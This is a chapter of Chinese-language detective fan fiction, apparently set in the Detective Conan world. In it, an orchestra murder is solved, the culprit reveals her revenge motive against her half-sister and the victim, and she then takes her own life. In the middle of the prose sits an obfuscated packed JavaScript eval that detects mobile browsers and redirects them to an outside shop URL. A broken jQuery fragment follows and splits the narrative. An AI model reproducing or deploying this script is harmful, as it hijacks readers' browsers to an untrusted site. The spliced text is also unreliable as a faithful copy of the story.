“都别动。”
“否则我就杀了她。”
利刃的寒芒架在女人的颈侧,这突如其来的变故打得在场所有人都措手不及。
一旁压着宫本静月的刑警都没反应过来,手里的犯人就被拉走刀刃就抵在脖子上了。
安室透:“……”
警惕性这么差!
“藤原小姐,不要一错再错了。”小侦探蹙眉沉声道。
“错?”
“什么是错?”
“你以为自己就是正义吗?”藤原静子笑道,双目环视过现场的所有人,最后停留在安室透手里的证物袋上。
不知怎的,松田鹤在她身上感觉到一丝如释重负,像是游走在悬崖边上被人突然拽回到人间一样。
“你们什么都不知道,凭什么来审判我,劝我回头。”
“他们两个都该死。”
被挟持的宫本静月比所有人都要冷静,甚至有些迫不及待,冲着现场的警察们说道:“是我,凶手就是我!”
“我恨山田长介把我抛弃,所以心生怨恨勒死了他。”
“凶手是我!”
没等警察们做出反应,她身后的藤原静子就先一步发出了一声冷嗤,“嗤,自我感动,自我牺牲,你们两个狗男女倒是绝配。”
“你和你那个上赶着做人小三,破坏别人家庭的母亲一样。”
“人前装的一副楚楚可怜。”
“实则心机深沉,不择手段。”
就在大家都云里雾里时,安室透直视着将现场搅得一团乱的两个女人,“你们两个是同父异母的姐妹吧。”
“什么?!”
松田鹤惊讶的看着身旁的金发蜜皮的安室先生,这都能看出来?
你还要身兼几职啊,乐团指挥,私家侦探还不够?您的眼睛是DAN检测仪成精了吗?!
“但是让人不理解的是,如果你要报复的是宫本小姐,抢走她的男朋友还不够?为什么一定要杀死山田先生呢?”跟上安室透思路的工藤新一跟着追问道。
“因为他该死!”
“不能从一而终的男人都该死!”
说话间,那双淡然的眼睛似是穿越过时空缝隙,来到了她刚入职东京交响乐团的时候。
春日的微风吹起年轻女人的裙摆,手拿老师的推荐信站在乐团门口时,靓丽的女人并没有意识到自己已经成为了他人眼中美丽的风景。
“需要帮助吗?小姐。”
带着融融暖意的男音响在了她的耳边。
“我是来拜访高桥先生的,请问你知道他的办公室在哪里吗?”藤原静子接受了男人的好意,晴蓝色的眼底闪过一丝笑意,冲淡了那冷冰冰生人勿近的气场。
“正好我也要找高桥先生,不如同行?”
“那就麻烦了。”
一路走来,藤原静子了解到男人名叫山田长介,是乐团大提琴组的成员。
凭借着老师的推荐信,入职也十分顺利,但是藤原静子美丽的心情也就在走出高桥先生办公室的那一刻戛然而止了。
她以为自己放下了,可当令人生厌的面孔出现的那一刻,她还是止不住的反胃。
“藤原小姐,这位是刚入职没几天的宫本小姐,乐团长笛手。”山田长介公事公办的介绍道,可眼底不自觉带出的笑意出卖了他和这位宫本小姐不一般的关系。
忍着恶心,与人问好,面对着伸来的右手,她无视的干净。
“抱歉,我还有事,先走了。”
看着那张脸,她就无法忍住颤抖的手指,童年间令人窒息的记忆又一次浮现于眼前。
“宫本光二,你怎么能这么对我!”瓷片破碎的声音混合着母亲尖锐的嗓音是年幼时她无法忘怀的噩梦。
“月美,我很抱歉,但我对你已经毫无爱意了。”
“她已经怀了我的孩子,医生说是个男孩儿。”
“我会支付赡养费的,我们离婚吧。”
母亲歇斯底里的身形依然历历在目,相反,那个男人的面容在回忆中却模糊的看不清楚。
年幼的她不明白,为什么父亲再也没有回来过,为什么母亲总是对她非打即骂,怨恨她不中用,怨恨她不是男孩子,无法挽回男人的心。
如果她变得有用的话,生活是不是可以回到以前幸福美满的时候呢?
于是她拼命的念书,学习钢琴,可满分的试卷,名师的认可也无法打动铁石心肠的母亲。
烈火烧尽了别人的认可,那双怨毒的眼睛在火光下亮的惊人,女孩机械的将多年来的努力见证,一张张丢弃在那熊熊烈火之中。
那,这样的话,有问题的就不是她了。
是那对不知廉耻,勾引男人婚内出轨,破坏人家家庭的母子。
想打听一个人很简单,那个男人的生活也没有他所设想的幸福美满。
以为是男孩可以传宗接代就迫不及待的迎小三上位,结果,苍天有眼啊,男人的如意算盘还是落空了。
那个女人怀胎十月,生下的依旧是个女孩儿。
男人甚至都不肯花心思取名字,宫本静月。
呵,藤原月美,藤原静子,宫本静月。
无耻的让人恶心。
男人错打的算盘和如今拮据的生活,暂时抵消了藤原静子悲惨童年压抑下的熊熊怒火。
可为什么这个女人还要重新出现在她的面前呢,五分像那个男人,五分像她勾引别人丈夫的母亲的面容,让原本暂时熄灭的火种,再一次烈火燎原。
还没等她做什么,变故却先到了。
爱情就是这样经受不起考验。
在日本首屈一指的乐团中高手云集,想出人头地是何等的艰难。
多少人挤破头进来,最后发现自己不过是沧海一粟。
天分不够的人有时会动些歪脑筋,比如趁着别人的东风,送自己直上青云。
面对山田长介的频频示好,藤原静子不拒绝,不表态。
但这在山田长介的眼里看来,那就是一股能送他青云直上的东风。
藤原静子想,今时今日也该让你尝尝被人背叛的滋味,童年的创伤并没有被时间抚平,而是在沉默中再次爆发。
通过宫本静月日复一日的惶恐,和不由自主的观察她,藤原静子终于感受到了一股前所未有的平静。
风水轮流转,今日今日也该由你来偿还当年的孽债。
她本来是没有打算杀掉山田长介的,可计划赶不上变化。
今早的乐团花园,在角落里还有一个她,目睹了山田长介的无耻行径和宫本静月的哀求,也看到了仗义执言的高桥正。
大胆的想法在心间觉醒,不能从一而终的男人,都该死。
暗中
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17537316|202542||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
跟随到更衣室外,无耻到没下限的山田长介,让她幻视了童年里的那个男人。
“你这个没用的女人。”
“敢阻止我追求静子,我就杀了你,滚啊!”
“谁都行,但是藤原静子她不可以!”宫本静月苦苦哀求。
“你以为你是谁,脸脸比不过人家,背景背景也什么都没有。”
“我怎么会眼瞎看上你这么个没用的老女人!”
“后续,就跟这两位侦探推理的一样,我将山田长介电晕,用这个女人取回来的琴弦把他挂在空中,让他自杀谢罪。”
“可惜啊,如果没有你们,这个女人也该在牢狱中忏悔终生的。”
一时间,宽阔的走廊间寂静无声。
一个出轨的男人,毁掉的是两个家庭,更是让一个女孩沉浸在阴暗的童年中至今都无法走出。
“不,她说的不是真的。”
“是我杀掉的山田长介,他脖子上有我的指纹!”
被挟持的宫本静月哭泣着喊道,大颗大颗的泪水随着面庞滚落。
这……
这种争抢着认罪的场面搜查一课的刑警们倒是第一次见。
“那是从你的长笛上拓印下来的。”
霎那间,两个踽踽独行的灵魂似乎终于走到了同一个时空。
“我其实第一眼就认出你了。”宫本静月轻声道,“从你进入乐团的那一天,在高桥先生的办公室外。”
“我一眼就认出你了。”
“什么?”藤原静子一脸的诧异,连手中的刀都不由自主的松开了几分。
“我母亲对不起你,我也对不起你。”一双满是痛惜的眼睛包容的看向身后的人。
“你布置现场的时候我都在门外看到了。”不在顾及脖颈上的利刃,宫本静月转身抱住了身形僵硬的女人,哭道:“我都自己在手上缠绕出了勒痕,你为什么还要说出来呢!”
“你……”
不管动机是什么,犯罪就是犯罪。
没有人可以私自审判他人性命。
搜查一课的刑警们拿起手铐向藤原静子走去,就在这尘埃落定的时刻,却见手握小刀的藤原静子将怀中的宫本静月朝刑警们推去。
手起刀落间,所有人都来不及反应,一条鲜活的生命在自己的审判中落下帷幕。
“静子!”
“不要!”
顾不得其他,宫本静月扑过去,将躺在血泊中的女人抱在了怀里,白皙的手掌紧紧的捂住那泊泊涌血的伤痕。
“我-我其实-其实也是恨-自己的。”
“就算-为了报复-我也成为了自己最讨厌的那种人。”
“我不会-会原谅你。”
“你别想一笑-笑泯恩仇。”
“我是-是-恨……”
——恨你的
谁也没想到,最后会变成这个样子,还没等急救赶到,一条鲜活的生命在宫本静月的怀中缓慢的阖上了那双晴蓝色的眼睛。
鲜红的色彩浸染了那条白色的长裙。
“你们为什么要说出来!”紧紧抱住怀中人的宫本静月看向了安室透和那个小孩。
“没有人需要你们自以为是的真相!”
还是小萝卜头的工藤新一被眼前这一幕震惊了,那双怨恨的眼睛让他不寒而栗,难道寻找真相也是错的吗?!